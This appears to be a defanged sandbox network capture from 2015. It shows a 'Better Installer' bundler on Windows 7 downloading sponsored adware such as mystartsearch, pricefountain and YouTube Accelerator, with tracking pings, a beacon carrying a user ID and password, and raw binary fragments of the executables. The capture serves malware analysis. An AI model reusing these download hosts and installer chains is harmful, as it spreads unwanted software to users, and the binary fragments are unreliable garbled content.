.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /pagead/conversion.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.googleadservices.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

P3P: policyref="hXXp://VVV.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC"

Content-Type: text/javascript; charset=UTF-8

ETag: 9603012329940890601

Date: Wed, 07 Jan 2015 09:02:19 GMT

Expires: Thu, 08 Jan 2015 09:02:19 GMT

X-Content-Type-Options: nosniff

Content-Disposition: attachment; filename="f.txt"

Content-Encoding: gzip

Server: cafe

Content-Length: 4017

X-XSS-Protection: 1; mode=block

Age: 71522

Cache-Control: public, max-age=86400

Alternate-Protocol: 80:quic,p=0.002
...........Z.r.......PS.1b(..3..aU..8g.;'q&g..u.$D2.H.II.-..v....g.j.\
..h4.@_....W...q...5O:s..A.....U........n.s.....d.1.B.x....4...l.....D
d.$".......Br..m.<.STc..Y.s.Y.5K..3...0.T`.4.|."[email protected]...&..\.-.V
.[$.(.d.".2..#.... ...V..2...T/(..Iv.!=..".v......(a.>..R..../.m..7
..I%.U)T.<..0.......:.$.....h...*..Jq.;y.a...)....p..w.........H...
.8.....u8}dD>O/7..|..)....l.X.....|..tW.TM...40.X6.......{..Q.1H3..
d......5.....;.....Mp...Q........xX.i.'66u?p]....e".....G....f|..rc#..
 ..G.a..}.x&.[n,....z.D.l.....q(...LlF.Z.q|.y...P..UG..=uz=...1....l. 
.HG.....awM.k....l.xD7..j..............n.W...P....e..X.k.4.V.......pE.
...me..Jw;....`N....s......'..=.yV.. .....n....z.'.1W.6l...1|E..3.7...
...d.......lnD|.x<...\..~.a..U*......7......D..N...3B..o.K.....-...
..%.%'..>......>.U...g-.>}.p.#..G...mL.._...Y.1...-O.F .e....
..SR..|...m.h{I....6...^on`..EV.,'.k..0F...[8..X..[g.P.d}=...}M.Y.j.tk
.....\..d..n.5..;.Gl.K'.|...Av=......Z..5...6.O.h..f...1.......s...H,Q
F....O. .y|.O..J'*....ARM....Q#"1l6.Y..3H.E...Pw.O<9Q.'r.>q.~..j
...........Q(Gi.;.Sp'...2......C....I...0.h.....O<...C.Xh4. .5.(Z.@
....../"..|...|%..fRK...I..Ylx".".....H5.Z.y..l...x.j....5.>.....O%
e...W.....Y...aZ.q\Y....K.....c....*...v;..-X......q4.8......{......8L
....O..... [...r.KUvt.[..........H......1..i......-.8....*....^..5.a..
Y%......8L...m.[.m..0N......n..d~..<...|..[.....Qx.F.].I.O..e. ....
..,^..k.......m..,..?.........A.fs.../..`..{.a...T..R.."[email protected]
...-.1..4.....;...Rd).Y.1v.*..A.......K.F[./.....A.-...F..S.>..<<< skipped >>>

GET /pagead/conversion/971163981/?random=1420692842737&cv=7&fst=1420692842737&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE&vis=1 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.googleadservices.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 302 Found

P3P: policyref="hXXp://VVV.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC"

Date: Thu, 08 Jan 2015 04:54:22 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, must-revalidate

Location: hXXp://googleads.g.doubleclick.net/pagead/viewthroughconversion/971163981/?random=1388919508&cv=7&fst=1420692842737&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0

Content-Type: image/gif

X-Content-Type-Options: nosniff

Server: cafe

Content-Length: 42

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.02
GIF89a.............!.......,...........D.;HTTP/1.1 302 Found..P3P: pol
icyref="hXXp://VVV.googleadservices.com/pagead/p3p.xml", CP="NOI DEV P
SA PSD IVA IVD OTP OUR OTR IND OTC"..Date: Thu, 08 Jan 2015 04:54:22 G
MT..Pragma: no-cache..Expires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Co
ntrol: no-cache, must-revalidate..Location: hXXp://googleads.g.doublec
lick.net/pagead/viewthroughconversion/971163981/?random=1388919508&cv=
7&fst=1420692842737&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl
=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=1
20&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccel
erator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0%
2C25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NO
NE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected
=1&VA_src=1&pr=1&TSI=76&BundleID=NONE&vis=1&ctc_id=C
AIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0..Content-Type: i
mage/gif..X-Content-Type-Options: nosniff..Server: cafe..Content-Lengt
h: 42..X-XSS-Protection: 1; mode=block..Alternate-Protocol: 80:quic,p=
0.02..GIF89a.............!.......,...........D.;..<<< skipped >>>

GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?ffa54d8c0bd5ad08 HTTP/1.1

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Thu, 03 Jul 2014 23:34:12 GMT

If-None-Match: "0b2464b1797cf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: ctldl.windowsupdate.com


HTTP/1.1 304 Not Modified

Content-Type: application/octet-stream

Last-Modified: Thu, 03 Jul 2014 23:34:12 GMT

ETag: "0b2464b1797cf1:0"

Cache-Control: max-age=86400

Date: Thu, 08 Jan 2015 04:54:22 GMT

Connection: keep-alive

HTTP/1.1 304 Not Modified..Content-Type: application/octet-stream..Las
t-Modified: Thu, 03 Jul 2014 23:34:12 GMT..ETag: "0b2464b1797cf1:0"..C
ache-Control: max-age=86400..Date: Thu, 08 Jan 2015 04:54:22 GMT..Conn
ection: keep-alive..

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=77080-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:53:18 GMT

Content-Type: application/octet-stream

Content-Length: 231240

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:53:18 GMT

Cache-Control: max-age=259200

Content-Range: bytes 77080-308319/308320
...j.V.E..E.......YY..u.......>csm.u .~..u%.~. ...t..~.!...t..~."..
.u.9^.u...........9.....tl............E.......u.......V.....YY..uD.}.9
..........][email protected].;.|.......E..E....E..&g
t;csm........~.........~. ...t..~.!...t..~.".....f...9_........E.P.E.P
.u..u W......M....;M........P..E..U..Z..]..].9B.......;B........:.}..z
..}....}[email protected]....#.v...PQ.E..S........u*.E..U..M.H....E..
U......E.H....E..M......'.u..E...u$.u .u..u..u.W.u..u.SV.......,.U..E.
.M.A....M..U.;M...<...3..}..t.j.V.....YY.}..uy..%....=!...rk....te.
w.V.....YY..uV...........................}$..M.......Vuz.u..x.E.9_.v.8
].u1.u$.u .u.W.u.P.u.V.s..... .`...9.....t......_^[.......j.V.....YY.E
.P.M..E...A..S...ht.B..E.P.E...A.......u$.....j.W.u..u..2.......w..^..
..U..QQW.}..?..........SV.............].tHj.....A........9.....t1.?MOC
.t).?RCC.t!.u$.u S.u..u..u.W.................{..u.......E.P.E.P.u..u S
......M..U....;.sy.p..E.;F.|c;F..^...~.....|....t..V..\...U..{...].u8.
~.......}...@u(j..u$.N..u Qj.PS.u..u..u.W......U..M...,.E.A....M.;.r.^
[_..U..QQSV.u.W..tl3...9.~]...]..E..@[email protected]...~5.E..p..F..2..P
.}....M......u..E..U.H....E..U.........G....M.;>|._^..[............
.U...M..U...V.q.....x..I...........^].j.h..B.......U..M.......t......y
..z..e...u.VRQ.].S.W......Ht.Hu4j..F.P.s......YYP.v.W.F......F.P.s..s.
..YYP.v.W.,....E......}[email protected]
...X....H...u.........E......}...x.......].j....tB.u..v..z(..YY.......
.j.W.h(..YY.........N....E....PQ.....YY........u..E..p....tN.0(..Y<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=231240-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:52:16 GMT

Content-Type: application/octet-stream

Content-Length: 77080

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:52:16 GMT

Cache-Control: max-age=259200

Content-Range: bytes 231240-308319/308320
.o..l....o.......o.......o.......W.......o.......o.......o.......o....
...p.......p...... p......,p......8p......Pp..,...\p..;...tp..>....
p..C....p..k....p.......p.......p.......p.......p.......p.......p.....
..p..;....q..k... q......0q......<q......Hq......Tq......`q......lq
......xq..;....q.......q.......q.......q.......q.......q.......q......
.q..;....q.......r.......r.......r......(r......4r..;...Lr......\r....
..hr......tr.......r..;....r... ...r... ...r... ...r..; ...r...$...r..
.$...r...$...r..;$...s...(...s...(...s...(..(s...,..4s...,..@s...,..Ls
...0..Xs...0..ds...0..ps...4..|s...4...s...4...s...8...s...8...s...<
;...s...<[email protected][email protected]...|..
.t...|..([email protected]..,...0t..q...(j......<t......Ht......Tt.....
.`t......lt......xt.......t.......t.......t.......t.......t.......t...
....t..C....t.......t.......t......xk..)....t.......u..k...8k..!...,u.
.c...0j......8u..D...Du..}...Pu......8j......hu..E...Pj......tu..G....
u......Xj.......u..H...`j.......u.......u.......u..I....u.......u.....
.8l..A....u......hj.......u..J...pj.......u.......u.......v.......v...
... v......,v......8v......Dv......Pv......\v......hv..K...tv.......v.
.....xj.......v.......v.......v.......v.......v.......v.......v.......
v.......v.......v.......w.......w.......w......(w......4w......@w.....
.Lw......Xw......dw......Hk..#...pw..e....k..*...|w..l...`k..&....w..h
....j.......w..L....k.......w..s....j.......w.......w.......w.......w.
.M....w.......w...... l..>....w.......k..7....x.......j.......x<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=pricefountain&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=2&index_in_screen=1&index_in_session=2&0.24663516244120687 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/ef016749e4b3b84c8b6f3946b9bc2c0d?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.260128705.1420692778.1420692778.1420692778.1; __utmb=1.1.10.1420692778; __utmc=1; __utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:54:27 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:54:27 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=77080-154160

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:55:15 GMT

Content-Type: application/octet-stream

Content-Length: 77081

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:55:15 GMT

Cache-Control: max-age=259200

Content-Range: bytes 77080-154160/308320
...j.V.E..E.......YY..u.......>csm.u .~..u%.~. ...t..~.!...t..~."..
.u.9^.u...........9.....tl............E.......u.......V.....YY..uD.}.9
..........][email protected].;.|.......E..E....E..&g
t;csm........~.........~. ...t..~.!...t..~.".....f...9_........E.P.E.P
.u..u W......M....;M........P..E..U..Z..]..].9B.......;B........:.}..z
..}....}[email protected]....#.v...PQ.E..S........u*.E..U..M.H....E..
U......E.H....E..M......'.u..E...u$.u .u..u..u.W.u..u.SV.......,.U..E.
.M.A....M..U.;M...<...3..}..t.j.V.....YY.}..uy..%....=!...rk....te.
w.V.....YY..uV...........................}$..M.......Vuz.u..x.E.9_.v.8
].u1.u$.u .u.W.u.P.u.V.s..... .`...9.....t......_^[.......j.V.....YY.E
.P.M..E...A..S...ht.B..E.P.E...A.......u$.....j.W.u..u..2.......w..^..
..U..QQW.}..?..........SV.............].tHj.....A........9.....t1.?MOC
.t).?RCC.t!.u$.u S.u..u..u.W.................{..u.......E.P.E.P.u..u S
......M..U....;.sy.p..E.;F.|c;F..^...~.....|....t..V..\...U..{...].u8.
~.......}...@u(j..u$.N..u Qj.PS.u..u..u.W......U..M...,.E.A....M.;.r.^
[_..U..QQSV.u.W..tl3...9.~]...]..E..@[email protected]...~5.E..p..F..2..P
.}....M......u..E....

GET /img/accelerating-videos.jpg HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=0gkn1yumieq3soyth43bzeq3


HTTP/1.1 200 OK

Content-Type: image/jpeg

Last-Modified: Tue, 10 Jun 2014 08:53:04 GMT

Accept-Ranges: bytes

ETag: "0d8fd638984cf1:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:54:21 GMT

Content-Length: 62153
......Exif..II*.................Ducky.......P.....)hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c06
0 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM
:InstanceID="xmp.iid:C1DF3D4AC22211E2B54FF29E4590DCFE" xmpMM:DocumentI
D="xmp.did:C1DF3D4BC22211E2B54FF29E4590DCFE"> <xmpMM:DerivedFrom
 stRef:instanceID="xmp.iid:C1DF3D48C22211E2B54FF29E4590DCFE" stRef:doc
umentID="xmp.did:C1DF3D49C22211E2B54FF29E4590DCFE"/> </rdf:Descr
iption> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?&g
t;....Adobe.d.........................................................
......................................................................
..................2...................................................
...........................................!..1AQ.aq....."2....BR#U...
b..3.T...W...S..u..rC.$4%6s...5.&V7.c.DdtEv'...e.Gw...................
....!1..A....Qaq."2RS...r3T.#....B..b$......4...D.EF............?...c.
.......!..A...H....\`.f...L...0.q%h.7.[{3..I....3.......wJ..x..h.;..=*
........m..P.PT..0.gi..K.Lb ....%.'..T....c....%.9.`("....`..#...Yy...
.L........Z.*.iM....V...n.*w.rb.6.......Q#... b...b.gU.?Sh}..T....<<< skipped >>>

GET /ConversionService/GetScript.ashx?s=finish&frame=1&aff= HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=0gkn1yumieq3soyth43bzeq3; _ga=GA1.2.369173105.1420692843; _gat=1


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:54:22 GMT

Content-Length: 216
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"...O.<y...<M...<......
.[......m.zt........../..>|...;.......~..<n..........].....]....
_....%.8.............HTTP/1.1 200 OK..Cache-Control: private..Content-
Type: text/html; charset=utf-8..Content-Encoding: gzip..Vary: Accept-E
ncoding..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Pow
ered-By: ASP.NET..Date: Thu, 08 Jan 2015 04:54:22 GMT..Content-Length:
 216...............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@.
.....{....{....;.N'...?\fd.l..J...!....?~|.?"...O.<y...<M...<
.......[......m.zt........../..>|...;.......~..<n..........]....
.]...._....%.8...............

GET /YTAFinishInstall.gif HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: pix.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: Microsoft-IIS/5.1

Cache-Control: max-age=0, must-revalidate

Expires: Fri, 30 Oct 1998 14:29:43 GMT

Date: Mon, 07 Aug 2006 07:07:36 GMT

Connection: close

Content-Type:image/gif

GIF89a.............!.......,...........D..;HTTP/1.1 200 OK..Server: Mi
crosoft-IIS/5.1..Cache-Control: max-age=0, must-revalidate..Expires: F
ri, 30 Oct 1998 14:29:43 GMT..Date: Mon, 07 Aug 2006 07:07:36 GMT..Con
nection: close..Content-Type:image/gif..GIF89a.............!.......,..
.........D..;..

GET /online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=1e344145-f3a3-4b8b-9635-304106c1be75&Password=ekCxlP9j&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1420692777&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=jz1e1q45ikgezlf1wzoex5uz


HTTP/1.1 302 Found

Connection: close

Date: Thu, 08 Jan 2015 04:53:17 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Location: hXXp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=1e344145-f3a3-4b8b-9635-304106c1be75&Password=ekCxlP9j&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1420692777&SBPIDS=1&KA=1

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 1268
<html><head><title>Object moved</title></he
ad><body>..<h2>Object moved to <a href="hXXp://onlin
e.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&U
serID=1e344145-f3a3-4b8b-9635-304106c1be75&Password=ekCxlP9j&O
S=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,25383
020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&
amp;PartnerList=&ElapsedTime=1420692777&SBPIDS=1&KA=1">
here</a>.</h2>..</body></html>....<!DOCTYPE
 html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.o
rg/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml" >..<head><title>...Untitled Page
..</title></head>..<body>..    <form name="form1"
 method="post" action="ka.aspx?CV=2.0.0.0&ProductID=12000&User
ID=1e344145-f3a3-4b8b-9635-304106c1be75&Password=ekCxlP9j&OS=1
0&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,25383020
-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&
;PartnerList=&ElapsedTime=1420692777&SBPIDS=1&KA=1" id="fo
rm1">..<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" 
value="/wEPDwUJNzgzNDMwNTMzZGQZyQmL5DwxHRo8R5yFk4y5MH1KTQ==" />..  
  <div>..    ..    </div>..    </form>..</body>
;..</html>....<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=sourceapp_sem&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=3&index_in_screen=1&index_in_session=3&display_height=185&0.6875731650378127 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/ef016749e4b3b84c8b6f3946b9bc2c0d?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.260128705.1420692778.1420692778.1420692778.1; __utmb=1.1.10.1420692778; __utmc=1; __utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:54:27 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:54:27 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=1019520-

User-Agent: Better Installer(Mozilla)

Host: d1eebpovd478nh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 611712

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:17:13 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 1019520-1631231/1631232

Age: 111

X-Cache: Hit from cloudfront

Via: 1.1 b9e26169e235acb41e173f2870b3e2c0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: wSc8-sObib4P3jojP9lwfxgtsDS6QBGeN_UDq51fuHTWO6u93FttMg==
."4....s...... N.$.".b....dR.7....m....h.H..B.|%...o$....o........G...
 .....GD.u..'.J.-s.r...'K....2..d)[email protected]^..R..h....Fb%n.....G.3.
[email protected]......>..G<W.....hI.0.....C...5*kt:.J.nO.C....6..$.
....-.8.z..s=.S......:..:>....[.;..pUk.}........ ..Fgd..f...x5.f.*.
d......N...x.`.e(.,.1..3..=.C/..$vM}.(...J..la......B....`k z]..D..x..
..s...m*,.nk_r.....VY...$R.Yh......(....'sI../....##S.'b...'I.y...'b.;
9cw..V.P..............7H.....|.L..o...B....3I....*.o...a.`..T...D.;...
..S?i#~._.....3...T.....BoW....g.{p...`....L.yR.-..U..y..q ........TZ3
F..A0B..-....g...b.^7........k$..W.L.y....y.`Oa..~<..d.OG_...4W J.i
T..}._=.e.{..:"..5 .?..s...g..U......."V.......i...j:...s...$}...d..Z.
1...g.U......-..6.....P...uY..#..n...^;5".o..O..X..g.di....<Q.....m
.!.....}O}..Z./...]9Hc us..<....u.N3....Y.\.XX..1a[...u..|%..B{#.J.
......"{.fN..GQ.P)</.|B....*v........W...M...<.1.T..k..Cx..Q..9.
..h.....}./.|.G{..rH?DH..0...~./..J.f....'g.{..9........!Yw.4.^lJk.s\.
K.....I1...{.s!i`%.h&#";.y46..5....{[email protected].<B.<|.^*[....L.5
0.9.EK.I........F.l... f.....).....%.aT..|I.......P...h..Gy...B6J.....
.. S.....sD../.8../M...f..R..qKKuQw.lI.g..A~x.&Z..._.aZN.........W.t..
^.-.N\......-H.....JQ...U360.n.[82.....S....}.}.G@_.?.......z..C.....c
.JG@.)*.$......./..../......L_.....9..!................F.....,G....X..
.w....n.#)H%..L.*. .%%..GPK...M..4.R....J.6..u..........r.Ww....[ }W..
.."...k.|....k........{.b.J9.....o.n........fJ...4......].;..#.._....x
g..O.x.(..-e:...a.....f.Y...>....../J.wi..F...Y.........Ha.)...<<< skipped >>>

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=815616-

User-Agent: Better Installer(Mozilla)

Host: d2lci0er4bmjg2.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 815616

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:12:14 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

